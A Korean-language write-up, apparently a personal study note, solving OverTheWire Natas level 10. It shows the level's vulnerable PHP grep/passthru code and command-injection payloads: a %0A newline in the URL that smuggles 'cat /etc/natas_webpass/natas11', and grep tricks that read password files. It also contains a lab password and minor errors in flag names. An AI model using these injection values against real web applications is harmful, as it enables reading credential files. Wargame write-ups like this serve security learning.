http://natas10.natas.labs.overthewire.org
아이디 : natas10
패스워드 : nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
9번과 동일하지만 이번에 ;과 |을 사용할 수 없도록 필터가 걸려있다.
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
정규표현식을 사용하여 검색을 시도
grep -I : --files-with-matches
Suppress normal output;
instead print the name of each input file from which output would normally have been printed.
The scanning will stop on the first match. (-l is specified by POSIX .)
.* /etc/natas_webpass/natas5 #
연속된 명령을 사용하려면 command injection에 대해 공부
# 리눅스 명령문자 ; # 명령의 끝을 나타낸다. || # 이전의 명령이 실패하면 실행하는 조건문 문자 && # 이전의 명령이 성공하면 실행하는 조건문 문자 & # 명령을 백그라운드에서 실행한다. $ # 변수에 접근할 수 있는 문자 |
다중명령어를 사용할 수 있는 ;, & 는 필터링이 걸려있다.
이 경우 명령어를 실행하기
위해서는 엔터와 동일한 기능을 하는 \n을 $key에 삽입하거나
flag 변수를 직접 호출하는
방법이 있다.
첫번째 방법 : 주소에 \n의 아스키값인 0x0A를 넣어 검색
http://natas10.natas.labs.overthewire.org/?needle=%0A
cat /etc/natas_webpass/natas11&submit=Search
두번째 방법 : 정규표현식 $ 명령문자를 이용하여
/etc/natas_webpass/natas11 내에 문자가 있는 행을 출력할 수 있다.
grep -i <정규표현식> <파일명>
$ /etc/natas_webpass/natas11